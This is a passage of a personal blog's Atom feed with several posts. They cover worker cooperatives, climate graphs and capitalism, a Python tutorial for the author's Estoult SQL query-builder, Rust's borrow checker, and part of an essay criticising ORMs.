<p>Now let's talk about how this would be managed. Because this is a direct democracy, technically every one would be a manager and I don't see why you couldn't just structure this like any other anarchist group. This is pretty simple for a small business, but what about Apple? The simple solution is to just not have so many members, as many companies only have so many employees because managers like having people to manage.</p>
<p>But either way, you could have people split up into groups of ~150. And since there isn't just one person whose job it is to micro-manage peoples' toilet breaks, everyone will need to know a little about what the others are doing to be able to coordinate. Each group would have representatives (elected democratically or through sortition) that meet with other group representatives to coordinate between groups. This is a standard anarchist system, if you're <strong>curious</strong>, I've talked about this before <a href="/post/anarchism_for_the_curious">here</a>.</p>
<p>Honestly, it doesn't actually seem all that different with how a business looks now. The difference is that the power is "bottom-up" instead of "top-down" where the members have the power over the hierarchy instead of people at the top, because of DIRECT DEMOCRACY <strong>BABBYYYYYYYYYY</strong>.</p>
<p>To be fair, I think many people would actually <strong>hate</strong> being in a worker cooperative. Lots of people take pride in how much more money they make than others or how high up the corporate ladder they are. Which is good, because I don't want to work with them. It's way more likely that I would enjoy working with someone who thinks this is a good idea than someone who doesn't.</p>
<p>And that's pretty much all I'm bothered to write. God I hate writing closing lines to these posts because I have no idea what to say.</p>
<p>But whatever, good bye. Au revoir.</p>
<hr />
<div class="reference" id="reference-1"><a class="reference-link" href="#reference-1-backlink"><sup>[1]</sup></a>: https://institute.coop/what-worker-cooperative</div>
<div class="reference" id="reference-2"><a class="reference-link" href="#reference-2-backlink"><sup>[2]</sup></a>: https://www.macrotrends.net/stocks/charts/AAPL/apple/net-income</div>
<div class="reference" id="reference-3"><a class="reference-link" href="#reference-3-backlink"><sup>[3]</sup></a>: https://www.macrotrends.net/stocks/charts/AAPL/apple/number-of-employees</div>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[Graphs, Capitalism, And Ecological Collapse]]></title>
        <id>https://justin.duch.me/post/graphs</id>
        <link href="https://justin.duch.me/post/graphs"/>
        <updated>2020-09-19T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Graphs are pretty neat. Being able to express things visually makes it much easier for us humans to understand, I mean have you seen those TikToks where they compare one million grains of rice to one billion? Really puts it into perspective, imagine if that was money…</p>
<p>I think the inventor of statical graphs <a href="https://en.wikipedia.org/wiki/William_Playfair">William Playfair</a> probably says it best in his book "<a href="https://www.google.com.au/books/edition/Lineal_Arithmetic_applied_to_shew_the_pr/7fBZAAAAcAAJ?hl=en&gbpv=0">Lineal Arithmetic; applied to shew the progress of the commerce and revenue of England during the present century, which is represented … by thirty-three copperplate charts, etc</a>":<span class="footnote-link" id="footnote-1"><sup>(1)</sup></span></p>
<aside class="footnote-body" id="footnote-1-body"><sup>(1)</sup><span>And that's the shortened title.</span></aside>
<blockquote>
  <p>The advantage proposed by those charts, is not that of giving a more accurate statement than by figures, but it is to give a more simple and permanent idea of the gradual progress and comparative amounts, at different periods, by presenting to the eye a figure, the proportions of which correspond with the amount of the sums intended to be expressed.</p>
  <p>As the eye is the best judge of proportion, being able to estimate it with more quickness and accuracy than any of our other organs, it follows that wherever relative quantities are in question, a gradual increase or decrease of any revenue, receipt or expenditure of money, or other value, is to be stated, this mode of representing it is peculiarly applicable; it gives a simple, accurate, and permanent idea, by giving form and shape to a number of separate ideas, which are otherwise abstract and unconnected. In a numerical table there are as many distinct ideas given, and to be remembered, as there are sums, the order and progression of those sums, therefore, are also to be recollected by another effort of memory, while this mode unites proportion, progression, and quantity all under one simple impression of vision, and consequently one act of memory.</p>
</blockquote>
<p>Just a quick side note before we move on. The Wikipedia page on Playfair I linked to it says that he "reported on the French Revolution and organized a clandestine counterfeiting operation in 1793 to collapse the French currency" and "had a variety of careers […] a millwright, engineer, draftsman, accountant, inventor, silversmith, merchant, investment broker, economist, statistician, pamphleteer, translator, publicist, land speculator, convict, banker, ardent royalist, editor, blackmailer and journalist".</p>
<p>This is the coolest dude ever. Like holy shit, not only did he live out my dream of <a href="/post/bye_france">destroying the French</a>, but one of his careers was as a "convict". I believe this was because he was "imprisoned for debt" at the end of the 1790s, which is like the second coolest reason to go to gaol! The first being tax evasion of course.</p>
<p>Anyway, I've had a go-to graph to show people when they ask me what my favourite is (because this is definitely a thing people ask me) for a few years now. It's a graph by the Economic Policy Institute showing "<a href="https://www.epi.org/productivity-pay-gap/">The Productivity–Pay Gap</a>". I've shown it here in it's full glory.</p>
<p><img src="/img/productivity-comp-gap.png" alt="A graph showing how the gap between productivity and a typical worker's compensation has increased." /></p>
<p>What an amazing graph. Such beauty and grace. It's hard to find a graph that says this much.</p>
<p>In all seriousness, if there was an argument for a graph to have the title of "most important graph of this century", I would be arguing for this. It is just about one of the best arguments against capitalism you can make. If you see anyone say trickle down economics is a good idea, just show them this graph.</p>
<p>Another runner for the title would be Andy Lee Robinson's "<a href="https://haveland.com">Arctic Death Spiral</a>". It's visually striking and clearly shows the loss of sea ice in all seasons. It even provides a tidy disappearing point for when months start hitting zero.</p>
<p><img src="/img/arctic-death-spiral.jpg" alt="Article death spiral" /></p>
<p>It's a very pretty graph, but it would be much better if it didn't mean the end of human civilisation.</p>
<p>You know, this reminds me of a cool headline I read last week: "World fails to meet a single target to stop destruction of nature"<a href="#reference-1" class="reference-link" id="reference-1-backlink"><sup>[1]</sup></a>. The article includes lines like:</p>
<blockquote>
  <p>The UN said the natural world was deteriorating and failure to act could undermine the goals of the Paris agreement on the climate crisis and the sustainable development goals.</p>
</blockquote>
<p>And:</p>
<blockquote>
  <p>From tackling pollution to protecting coral reefs, the international community did not fully achieve any of the 20 Aichi biodiversity targets agreed in Japan in 2010 to slow the loss of the natural world. It is the second consecutive decade that governments have failed to meet targets.</p>
</blockquote>
<p>The Guardian is reporting on the <a href="https://www.cbd.int/gbo5">Global Biodiversity Outlook 5</a> from the Convention on Biological Diversity (CBD). According to them it's a "periodic report that summarizes the latest data on the status and trends of biodiversity and draws conclusions relevant to the further implementation of the Convention."</p>
<p>It's actually an interesting report which shows the real effects of climate change instead of what most people think, which is Earth just getting a bit hot. And funnily enough it also includes a bunch of fun graphs we can look at!</p>
<p>I would like to go through all 20 Aichi biodiversity targets, but not every section has a graph ;( The very first section "Target 1: Awareness of biodiversity increased" doesn't have a one and "Target 2: Biodiversity values integrated" only has a small, boring bar graph.</p>
<p>The first fun<span class="footnote-link" id="footnote-2"><sup>(2)</sup></span> graph comes from "Target 3: Incentives reformed" which is about eliminating, phasing out or reforming subsidies and other incentives potentially harmful to biodiversity, and in developing positive incentives for biodiversity conservation and sustainable use.</p>
<aside class="footnote-body" id="footnote-2-body"><sup>(2)</sup><span>Fun if you like climate change.</span></aside>
<p><img src="/img/gbo5-target3.png" alt="graph" /></p>
<p>The graph shows how little progress has been made over the past decade. Relatively few countries have taken steps even to identify incentives that harm biodiversity, and harmful subsidies far outweigh positive incentives.</p>
<p>Next would be "Target 5: Habitat loss halved or reduced". Obviously, a good way to stop CO2 gain would be to stop cutting down trees and planting more, so how did we do?</p>
<p><img src="/img/gbo5-target5.png" alt="graph" /></p>
<p>Not good. Overall, the world seems to have increased deforestation since 2015.</p>
<p>This is a nice graph though. It shows forest expansion on the top and deforestation on the bottom with a black line on each bar to show the difference. So it's really easy to tell which is greater and by how much.</p>
<p>Recently I've started to care a lot about fish for <a href="/post/i_am_a_fish">some reason</a>, so "Target 6: Sustainable management of aquatic living resources" is of particular importance to me.</p>
<p><img src="/img/gbo5-target6.png" alt="graph" /></p>
<p>Again, doesn't look like much progress has been made.</p>
<p>But you know what's cool? Coral reefs, like a certain Australian icon! These are looked at in "Target 10: Ecosystems vulnerable to climate change".</p>
<p><img src="/img/gbo5-target10.png" alt="graph" /></p>
<p>Oh no.</p>
<p>That's not cool at all!</p>
<p>Higher sea temperatures have led to an increase in mass coral bleaching, compounded by the impact of ocean acidification. More than sixty per cent of the world’s coral reefs face immediate direct threats, with overfishing and destructive fishing being the most pervasive immediate drivers. Corals have shown the steepest declines in status of all taxonomic groups assessed in the Red List Index.</p>
<p>This is actually the target with the least amount of countries making steps towards, with only 5% of reporting parties on track to meet the target.</p>
<p>Now let's look at "Target 12: Reducing risk of extinction".</p>
<p><img src="/img/gbo5-target12.png" alt="graph" /></p>
<p>"Target 12: Reducing risk of extinction"? More like "Target 12: <strong>Increasing</strong> risk of extinction"! HAHAH! What a funny joke. Make sure you subscribe to this blog (ignore the fact that I took that feature out) if you want more comedy like this in the future!</p>
<p>The other targets don't have a fun graph or are about social issues like increasing awareness, that we have actually been improving very slightly (the best we got is a "partially achieved (high confidence)" on "Target 17: Biodiversity strategies and action plans") which is good, but that goes against my narrative so I'm going to stop here.</p>
<p>But back to the original article, I want to look at how it ends with this statement from Basile van Havre, a co-chair of the negotiations.</p>
<blockquote>
  <p>I think it was a very laudable objective to set aspirational targets in the last decades. They’re hard to reach and clearly you hear that people want to have realistic targets.</p>
</blockquote>
<p>REALISTIC TARGETS?! HOW WERE THESE NOT REALISTIC?! THEN WHAT WOULD EVEN BE REALISTIC?! WE BARELY MADE ANY PROGRESS AND EVEN WENT BACKWARDS ON A FEW OF THEM?! WHAT THE FUCK?!</p>
<p>Oh no wait, I just remembered that capitalism is a thing. That makes sense, of course it's not realistic.</p>
<p>Here's a fun headline I read yesterday: "Qantas seven-hour flight to nowhere sells out in 10 minutes"<a href="#reference-2" class="reference-link" id="reference-2-backlink"><sup>[2]</sup></a>.</p>
<blockquote>
  <p>[…] a sightseeing flight to nowhere offered by Qantas sold out within 10 minutes, according to the airline, with passengers eager to take to the skies at at time when Australia has grounded almost all international flights paying premium prices.</p>
  <p>The seven-hour scenic flight will perform a giant loop taking in Queensland and the Gold Coast, New South Wales and the country's remote outback heartlands.</p>
</blockquote>
<p>So cool, just as bushfire season is going to start. Now we can get front row seats to seeing our country burn down, while also helping it to burn! Talk about two birds with one stone.</p>
<p>You're not sick of graphs yet are you? Oh good, because I've got a few more.</p>
<p>Another article from The Guardian explains <a href="https://www.theguardian.com/environment/ng-interactive/2019/jul/19/carbon-calculator-how-taking-one-flight-emits-as-much-as-many-people-do-in-a-year">how your flight emits as much CO2 as many people do in a year</a>. And includes a graph which shows that aviation emissions could triple in the next three decades.</p>
<p><img src="/img/aviation-emissions.png" alt="graph" /></p>
<p>And Alan Joyce called this "the fastest selling flight in Qantas history". I'm actually fucking appalled. Why would people buy this? Are they stupid? Actually, we've seen how "Fossil Fuel Combustion Is Driving Indoor CO2 Toward Levels Harmful to Human Cognition"<a href="#reference-3" class="reference-link" id="reference-3-backlink"><sup>[3]</sup></a> so I wouldn't be surprised.</p>
<p>Look here, that paper also includes graphs! Here it is showing carbon dioxide past, present, and future. Atmospheric concentration (ppm) of CO2 derived from Antarctic ice cores (Lüthi et al., 2008), measured directly at Mauna Loa Observatory, and future concentrations associated with Representative Concentration Pathway (RCP) 4.5 and 8.5 (van Vuuren et al., 2011).</p>
<p><img src="/img/co2-increase.jpg" alt="graph" /></p>
<p>Woah! Isn't that the best thing you've seen this month! Thank you Alan Joyce and the selfish fucks who spent a minimum of AUD$787 (haha, real funny, my jokes are way better) to make the world worse. Where would we be without you? Actually achieving the Aichi targets? Yeah right! That's not realistic, get a grip.</p>
<p>Why does this always happen? This was just supposed to be a fun blog post about my favourite graphs! How did it turn into another rant about capitalism and climate change?</p>
<hr />
<div class="reference" id="reference-1"><a class="reference-link" href="#reference-1-backlink"><sup>[1]</sup></a>: https://www.theguardian.com/environment/2020/sep/15/every-global-target-to-stem-destruction-of-nature-by-2020-missed-un-report-aoe</div>
<div class="reference" id="reference-2"><a class="reference-link" href="#reference-2-backlink"><sup>[2]</sup></a>: https://edition.cnn.com/travel/article/flights-to-nowhere-qantas/index.html</div>
<div class="reference" id="reference-3"><a class="reference-link" href="#reference-3-backlink"><sup>[3]</sup></a>: Karnauskas, Kristopher B et al. “Fossil Fuel Combustion Is Driving Indoor CO2 Toward Levels Harmful to Human Cognition.” GeoHealth vol. 4,5 e2019GH000237. 16 May. 2020, doi:10.1029/2019GH000237</div>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[Estoult: Not An ORM]]></title>
        <id>https://justin.duch.me/post/estoult</id>
        <link href="https://justin.duch.me/post/estoult"/>
        <updated>2020-09-09T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Concluding this three part series<span class="footnote-link" id="footnote-1"><sup>(1)</sup></span> on why I hate object-oriented programming, today we're going to look at how you can do less of it. Ideally, you would just not use an object-oriented language, although I must admit sometimes that isn't possible. Either way you should be limiting the amount of objects you make.</p>
<p>The first step to this is to not use an ORM. I mean, it's called an "<strong>Object</strong> Relational Mapper", obviously you'd want to avoid anything with "object" in the name.</p>
<aside class="footnote-body" id="footnote-1-body"><sup>(1)</sup><span>Yes, this was supposed to be a series but I forgot to talk more about OOP in the last post and just wanted to talk about Rust.</span></aside>
<p>But now I hear you ask.</p>
<blockquote>
  <p>How am I supposed to structure my queries to the database now? I don't want to write SQL in strings! Yuck!</p>
</blockquote>
<p>Well have I got the answer (if you use Python) for you! For the past month, I've been building <a href="https://github.com/halcyonnouveau/estoult">Estoult</a>, a Python toolkit for data mapping SQL databases with an integrated query builder. Originally started as a port of Elixir's <a href="https://github.com/elixir-ecto/ecto">Ecto</a>, I decided that was too much effort (and probably wouldn't work anyway) and just did my own thing. Now you can define schemas and queries to help structure your code without the baggage of <em>l'objet horreur</em>.</p>
<p>Here are some of the <strong>awesome</strong> features of Estoult from the readme:</p>
<ul>
<li>Not an ORM […]</li>
</ul>
<p>WOAH! That's all I needed to hear! That alone makes it a 5 star <del>man</del> library!</p>
<p>To show you the <strong>amazing</strong> abilities of not using an ORM, let's do what every other ORM does for a tutorial and build a blog.</p>
<p>Except I can't be bothered to build a blog right now (I already spent enough time on this one), so we're just going to build the stuff you need Estoult for in a blog.</p>
<p>I'm going to assume you have PostgreSQL setup, so we are going to use that for our database.</p>
<p>You can install Estoult from pip:</p>
<pre class="prettyprint linenums"><code class="bash language-bash">pip install estoult
</code></pre>
<p>First, start of by adding a <code class="prettyprint">Database</code> and importing all the stuff we'll need.</p>
<pre class="prettyprint linenums"><code class="python language-python"><span class="hljs-keyword">import</span> re
<span class="hljs-keyword">from</span> estoult <span class="hljs-keyword">import</span> *
<span class="hljs-keyword">from</span> datetime <span class="hljs-keyword">import</span> datetime

db = PostgreSQLDatabase(
    database=<span class="hljs-string">&quot;blog&quot;</span>,
    user=<span class="hljs-string">&quot;postgres&quot;</span>,
    password=<span class="hljs-string">&quot;postgres&quot;</span>
)
</code></pre>
<p>I honestly have no idea why people choose to write a blog to show off their ORMs, it's not representative of what you'd use them for at all. Blogs are really simple and aren't a good introduction to the features of any ORM or for showing why you'd want to use them.</p>
<p>Anyway, we only need to make one <code class="prettyprint">Schema</code>, the <code class="prettyprint">Post</code> which will have the following columns:</p>
<ul>
<li>slug: a URL-friendly representation of the title (and also our primary key).</li>
<li>title: the title…</li>
<li>content: content of the post (could be Markdown or HTML, I don't care)</li>
<li>timestamp: the time the entry was created.</li>
</ul>
<pre class="prettyprint linenums"><code class="python language-python"><span class="hljs-keyword">class</span> <span class="hljs-title class_">Post</span>(db.Schema):
    __tablename__ = <span class="hljs-string">&quot;posts&quot;</span>

    slug = Field(<span class="hljs-built_in">str</span>, <span class="hljs-string">&quot;slug&quot;</span>, primary_key=<span class="hljs-literal">True</span>)
    title = Field(<span class="hljs-built_in">str</span>, <span class="hljs-string">&quot;title&quot;</span>)
    content = Field(<span class="hljs-built_in">str</span>, <span class="hljs-string">&quot;content&quot;</span>)
    timestamp = Field(datetime, <span class="hljs-string">&quot;timestamp&quot;</span>)

<span class="hljs-meta">    @classmethod</span>
    <span class="hljs-keyword">def</span> <span class="hljs-title function_">insert</span>(<span class="hljs-params">cls, row</span>):
        row[<span class="hljs-string">&quot;slug&quot;</span>] = re.sub(<span class="hljs-string">&#x27;[^\w]+&#x27;</span>, <span class="hljs-string">&#x27;-&#x27;</span>, row[<span class="hljs-string">&quot;title&quot;</span>].lower())
        row[<span class="hljs-string">&quot;timestamp&quot;</span>] = datetime.now()
        <span class="hljs-keyword">return</span> <span class="hljs-built_in">super</span>().insert(row)
</code></pre>
<p>We are also overwriting the <code class="prettyprint">insert</code> function of the schema to automatically generate a <code class="prettyprint">timestamp</code> and create a <code class="prettyprint">slug</code> from the title so we won't need to do it manually. This way we only need to worry about entering the <code class="prettyprint">title</code> and <code class="prettyprint">content</code>. Overwriting <code class="prettyprint">classmethods</code> is encouraged in Estoult, so use it where you can.</p>
<p>Let's make methods for adding and getting posts.</p>
<pre class="prettyprint linenums"><code class="python language-python"><span class="hljs-keyword">def</span> <span class="hljs-title function_">add_post</span>(<span class="hljs-params">post</span>):
    Post.insert(post)

<span class="hljs-keyword">def</span> <span class="hljs-title function_">get_posts</span>():
    <span class="hljs-keyword">return</span> Query(Post).select().execute()

<span class="hljs-keyword">def</span> <span class="hljs-title function_">get_post</span>(<span class="hljs-params">slug</span>):
    <span class="hljs-keyword">return</span> Query(Post).get().where(Post.slug == slug).execute()
</code></pre>
<p>Oh that's it… That's kinda all you need for a blog. Alright then, guess we're done.</p>
<p>No but actually, I seriously hate writing tutorials.<span class="footnote-link" id="footnote-2"><sup>(2)</sup></span> Instead I want to talk about the stuff I learnt while writing Estoult. I've actually had to deal with some of the Python internals and they're actually really interesting. I've never been super happy with Python before but after this it's been starting to somewhat impress (or maybe I just like it more because I understand it better).</p>
<aside class="footnote-body" id="footnote-2-body"><sup>(2)</sup><span>Even though those were the first posts of this blog, maybe because of it.</span></aside>
<p>In some object-oriented languages a metaclass is a class whose instances are classes. Just as an ordinary class defines the behaviour of certain objects, a metaclass defines the behavior of certain classes and their instances.<a href="#reference-1" class="reference-link" id="reference-1-backlink"><sup>[1]</sup></a></p>
<p>Python is one of the languages to feature metaclasses, and as such is capable of a decent amount of metaprogramming (well, as much as an object-oriented language can be metaprogrammed).</p>
<p>One of the things this has allowed me to do is to imperatively write <code class="prettyprint">classmethods</code> with loops. A good example of this is adding <code class="prettyprint">join</code> functions to the <code class="prettyprint">Query</code> class. This is what it looks like currently.</p>
<pre class="prettyprint linenums"><code class="python language-python"><span class="hljs-keyword">class</span> <span class="hljs-title class_">QueryMetaclass</span>(<span class="hljs-title class_ inherited__">type</span>):

    sql_joins = [
        <span class="hljs-string">&quot;inner join&quot;</span>,
        <span class="hljs-string">&quot;left join&quot;</span>,
        <span class="hljs-string">&quot;left outer join&quot;</span>,
        <span class="hljs-string">&quot;right join&quot;</span>,
        <span class="hljs-string">&quot;right outer join&quot;</span>,
        <span class="hljs-string">&quot;full join&quot;</span>,
        <span class="hljs-string">&quot;full outer join&quot;</span>,
    ]

<span class="hljs-meta">    @staticmethod</span>
    <span class="hljs-keyword">def</span> <span class="hljs-title function_">make_join_fn</span>(<span class="hljs-params">join_type</span>):
        <span class="hljs-keyword">def</span> <span class="hljs-title function_">join_fn</span>(<span class="hljs-params">self, schema, on</span>):
            q = <span class="hljs-string">f&quot;<span class="hljs-subst">{<span class="hljs-built_in">str</span>(on[<span class="hljs-number">0</span>])}</span> = <span class="hljs-subst">{<span class="hljs-built_in">str</span>(on[<span class="hljs-number">1</span>])}</span>&quot;</span>
            <span class="hljs-variable language_">self</span>._query += <span class="hljs-string">f&quot;<span class="hljs-subst">{join_type}</span> <span class="hljs-subst">{schema.__tablename__}</span> on <span class="hljs-subst">{q}</span>\n&quot;</span>

            <span class="hljs-keyword">return</span> <span class="hljs-variable language_">self</span>

        <span class="hljs-keyword">return</span> join_fn

    <span class="hljs-keyword">def</span> <span class="hljs-title function_">__new__</span>(<span class="hljs-params">cls, clsname, bases, attrs</span>):
        <span class="hljs-keyword">for</span> join_type <span class="hljs-keyword">in</span> cls.sql_joins:
            attrs[join_type.replace(<span class="hljs-string">&quot; &quot;</span>, <span class="hljs-string">&quot;_&quot;</span>)] = QueryMetaclass.make_join_fn(join_type)

        <span class="hljs-keyword">return</span> <span class="hljs-built_in">super</span>(QueryMetaclass, cls).__new__(cls, clsname, bases, attrs)

<span class="hljs-keyword">class</span> <span class="hljs-title class_">Query</span>(metaclass=QueryMetaclass):
    [...]
</code></pre>
<p>Since all the joins are the same structure wise, writing them as individual <code class="prettyprint">classmethods</code> would become tedious and result in a lot of repeated code. Almost every class in Estoult is created by a metaclass to do things like this. <code class="prettyprint">Schema</code> uses a metaclass to add metadata about itself to each of it's fields, and <code class="prettyprint">Field</code> uses a metaclass to overload Python operators with our query operators.</p>
<p>I never realised Python had these kinds of metaprogramming abilities before, but if everything is an object then I guess you'd expect some crazy stuff.</p>
<p>Don't get me wrong, OOP still stucks. Metaprogramming is much, <strong>much</strong> easier and better in Elixir or even Rust, but I think it's neat that Python isn't as rigid as I thought it was.</p>
<p>So now that you're convinced that you should immediately remove the ORM from your 900 thousand lines of code enterprise Python web application and replace it with Estoult, you might have one more question.</p>
<blockquote>
  <p>What the hell is an "Estoult"?</p>
</blockquote>
<p>The answer lies in <a href="/post/astolfo">here</a>.</p>
<p>Anyway, this has been a fun month. I think it's been the longest time I've continuously talked about programming in a long time.</p>
<hr />
<div class="reference" id="reference-1"><a class="reference-link" href="#reference-1-backlink"><sup>[1]</sup></a>: https://en.wikipedia.org/wiki/Metaclass</div>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[Stop Picking On The Borrow Checker ;(]]></title>
        <id>https://justin.duch.me/post/stop_picking_on_the_borrow_checker</id>
        <link href="https://justin.duch.me/post/stop_picking_on_the_borrow_checker"/>
        <updated>2020-08-24T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Ferris is trying his best to make you write good code okay! Don't be mean to him!</p>
<p>Every once in a while in my programming circles, people start talking about Rust. And in these discussions there is always someone saying that the language would be better if the ownership model was replaced with a garbage collector.</p>
<p>This mostly comes from people who a new to the language and haven't wrapped their head around ownership and borrowing. Which is fair enough I suppose, ownership isn't a new concept or anything but I don't actually know the names of any languages that have done it before Rust so it's going to be a foreign concept to most people.</p>
<p>But to be honest, in all my 3 years of writing Rust, I've never once had an issue with the borrow checker that wasn't immediately solved by <code class="prettyprint">rustc</code> telling me how to fix it. So I can only assume that the ownership model isn't actually that hard to understand and that everyone complaining about it is stupid.</p>
<p>Still, the borrow checker is an integral part of Rust and the reason it works. When people talk about the main benefits of using Rust (and it's ownership model) they will normally go to memory safety as the most important point. Rust provides the ability to largely move to a world where the bugs are in logic and not in buffer/array verification or multi-threading. It feels like a real advancement to move up a layer of abstraction from plumbing to design.</p>
<p>Instead, I find the biggest reason to use Rust is the same reason to use a functional programming language: local reasoning and correctness.</p>
<p>Rust works because it enables users to write in an imperative programming style, which is what most people are familiar with, while avoiding to a degree the kinds of bugs that imperative programming is notorious for. Pure functional programming is an ingenious trick to show you can code without mutation, but Rust is an even cleverer trick to show you can just have mutation.</p>
<p>To me, Rust is the most well designed language for developer UX (that isn't a Lisp)<span class="footnote-link" id="footnote-1"><sup>(1)</sup></span> because of it's commitment to locality, and a big reason for why it is able to do this is the ownership model. Yes I know that's a big claim, but if you read my previous post then you should know that I also think every object-oriented language (which are the languages every else seems think has good DX) is a horrible hell-spawn that will cause the collapse of modern western civilisation, and every civilisation after due to the amount of resources we have consumed that could never be replenished. Just a reminder that <a href="https://en.wikipedia.org/wiki/Earth_Overshoot_Day">Overshoot Day</a> was two days ago ;)</p>
<aside class="footnote-body" id="footnote-1-body"><sup>(1)</sup><span>I feel like whenever I argue a language is best at something I always have to add this disclaimer.</span></aside>
<p>Speaking of OOP (and ignoring our certain demise), there's a common programming idiom in object-oriented languages called "Resource acquisition is initialization" (RAII) where objects should manage conceptual resources like file descriptors and sockets, and have destructors which clean up resource state when the object goes out of scope.</p>
<p>In other words, resource acquisition must succeed for initialization to succeed. Thus the resource is guaranteed to be held between when initialization finishes and finalization starts (holding the resources is a class invariant), and to be held only when the object is alive. Thus if there are no object leaks, there are no resource leaks.<a href="#reference-1" class="reference-link" id="reference-1-backlink"><sup>[1]</sup></a></p>
<p>RAII is a good way of making OOP suck less and is a commonly used resource management technique because it provides encapsulation as resource management logic is defined once in the class, not at each call site. Exception safety is also provided for stack resources (resources that are released in the same scope as they are acquired) by tying the resource to the lifetime of a stack variable (a local variable declared in a given scope): if an exception is thrown, and proper exception handling is in place, the only code that will be executed when exiting the current scope are the destructors of objects declared in that scope. And, locality of definition is provided by writing the constructor and destructor definitions next to each other in the class definition.</p>
<p>Resource management therefore needs to be tied to the lifespan of suitable objects in order to gain automatic allocation and reclamation.</p>
<p>Hey does that sound familiar? I know Rust doesn't have objects so you might need to replace objects with "all resources in general" and you've pretty much just described an ownership model.</p>
<p>Rust also enforces values to be "aliasable XOR mutable". Values can be mutated only if they are not aliased, and there is no way to introduce unsynchronized aliased mutation. It enforces a clear separation at all times between sequential state mutation on the one hand and references to shared (and generally immutable, except as provided for by explicit mutability mechanisms) state on the other. The only way to get this is through ownership and borrowing, the distinction between borrows and mutable borrows, and the aliasing rules between them.</p>
<p>In pure functional programming, you never have to bother your mind with unexpected side effects because there are no side effects. Rust instead gives you the vocabulary to carefully articulate <em>intended side effects</em>, preventing all other, unexpected side effects at the same time. And for this, you get to skip the overhead of treating everything as immutable. Not that this is an indisputable improvement for every use-case, but it's a novel trade-off and one that is definitely preferable in many domains.</p>
<p>To be clear, the borrow checker isn't the <strong>only</strong> reason Rust works. Many conscious design decisions have been made to help with local reasoning. Things like limiting type inference, and how exceptions are handled. And oh boy, I sure do love how exceptions are handled in Rust. I won't talk about it right now because it has nothing to do with the borrow che… no actually, I want to talk about it.</p>
<p>Rust generally solves errors in two ways:</p>
<ul>
<li>Unrecoverable errors. Once you <code class="prettyprint">panic!</code>, that's it. Your program or thread aborts because it encounters something it can't solve and its invariants have been violated. E.g. if you find invalid sequences in what should be a UTF-8 string.</li>
<li>Recoverable errors. Also called failures in some documentation. Instead of panicking, you emit a <code class="prettyprint">Option&lt;T&gt;</code> or <code class="prettyprint">Result&lt;T, E&gt;</code>. In these cases, you have a choice between a valid value <code class="prettyprint">Some(T)/Ok(T)</code> respectively or an invalid value <code class="prettyprint">None/Error(E)</code>. Generally <code class="prettyprint">None</code> serves as a null replacement, showing that the value is missing.</li>
</ul>
<p>With <code class="prettyprint">Result/Option</code> the compiler can follow the normal, relatively straightforward path. If something fails, you're forced to check it via <a href="https://doc.rust-lang.org/book/ch06-02-match.html#matches-are-exhaustive">exhaustively matching</a> over an <code class="prettyprint">Option/Result</code> (or using the <code class="prettyprint">?</code> operator) or explicitly turn it into a panic with operations like <code class="prettyprint">.expect("Some crash message")</code> for example.</p>
<p>Result types force you to deal with the errors up front, and if the errors from lower level functions change your program won't compile. That's good, because you need to respond to the errors properly. Again, this is all in the name of local reasoning and correctness.</p>
<p>Okay, so I don't really know how to segue this back to being about the borrow checker. So just remember, next time Ferris tells you that you borrowed wrong, he's doing a good job that's important in order for Rust to be the way it is.</p>
<hr />
<div class="reference" id="reference-1"><a class="reference-link" href="#reference-1-backlink"><sup>[1]</sup></a>: https://en.wikipedia.org/wiki/Resource\_acquisition\_is\_initialization</div>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[Things I Like About Object-Oriented Programming]]></title>
        <id>https://justin.duch.me/post/oop_is_okay</id>
        <link href="https://justin.duch.me/post/oop_is_okay"/>
        <updated>2020-08-04T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>I hate object-oriented programming and I believe it to be the worst mistake the technology industry has ever made since von Neumann architecture.</p>
<p>There's a lot I could say when bashing on OOP and OOP related things. In fact, a month ago I spent a considerable amount of time writing a short essay in my team's Slack channel ranting about why I hate ORMs. It's probably a bit too short to be it's own post so I've cleaned it up a bit (Slack is not a good place to write essays) and you can just read all of it here.</p>
<blockquote>
  <p>ORMs are poor abstractions of SQL. The documentation of all the major ORM libraries (in Pythonland at least) is filled with references to SQL concepts. Most introduce them without explaining their equivalents in SQL, while others treat the library as a set of procedural functions for generating SQL. An abstraction of SQL that requires you to understand SQL anyway is doubling the amount you need to learn: first you need to learn what the SQL you're trying to run is, then you have to learn the API to get your ORM to write it for you.</p>
  <p>Now, if your project does not need any relational data features, then an ORM will work perfectly for you, but then you have a different problem: you're using the wrong data store. The overhead of a relational data store is actually pretty big. This is a large part of why NoSQL data stores are so much faster. If your data is relational, however, that overhead is worth it: your database does not merely store your data, it represents your data and can answer questions about it on the basis of the relations captured, far more efficiently than you could in procedural code.</p>
  <p>For example, if you're working on a model that represents an electrical distribution system, these are not really records. They represent a vast set of complex interrelations. Of course there are still records, but in isolation, away from the complex relationship of say pole -&gt; {location, type, maintenance history, conductors, insulator type}, and conductor -&gt; {poles traversed, length, a end location, a end join type, b end location, b end join type, material, material batch number, power circuit carried} etc.</p>
  <p>Then your queries to "find all customers affected by the pole at these coordinates", requires joins through: pole, conductor, circuit, serviced area, customers, etc. We're moving rapidly to lots of complex queries which most ORMs will straight up not be able to handle gracefully and will eventaully start to break down.</p>
  <p>SQL is about relational algebra: the output of SQL is not an object but an answer to a question. If your object "is" an instance of X and "has" a number of Y, and each of Y "belongs to" a Z, what is the correct representation in memory of your object? Is it merely the properties of X, or should it include all the Ys, and/or all the Zs? If you get only the properties of X, when do you run the query to fetch the Ys? And do you want one or all of them? In reality, it depends: that's what I mean when I say SQL is the answer to a question.</p>
